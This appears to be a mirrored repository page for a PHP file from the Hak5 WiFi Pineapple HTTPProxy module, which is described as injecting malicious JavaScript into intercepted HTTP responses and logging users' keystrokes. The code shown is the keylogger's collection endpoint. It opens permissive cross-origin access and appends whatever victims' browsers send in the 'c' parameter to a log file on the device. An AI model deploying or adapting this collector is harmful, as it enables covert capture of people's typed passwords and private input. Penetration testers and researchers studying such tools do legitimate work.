mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
HTTPProxy will allow you to intercept the HTTP response and injection a malicious HTML/JavaScript code, also it has a keylogger written in JavaScript which allows the attacker to log the user inputs
16 lines
511 B
PHP
16 lines
511 B
PHP
<?php
|
|
header('Access-Control-Allow-Methods: GET, REQUEST, OPTIONS');
|
|
header('Access-Control-Allow-Credentials: true');
|
|
header('Access-Control-Allow-Origin: *');
|
|
header('Access-Control-Allow-Headers: Content-Type, *');
|
|
$file = '/pineapple/modules/HTTPProxy/assets/keylogger/dataKeyLogger.txt';
|
|
if(isset($_REQUEST['c']) && !empty($_REQUEST['c']))
|
|
{
|
|
file_put_contents($file, $_REQUEST['c'], FILE_APPEND);
|
|
|
|
// $key= fopen($file , "w") ;
|
|
// $out=fwrite($key, $_REQUEST['c']);
|
|
// fclose($key);
|
|
}
|
|
?>
|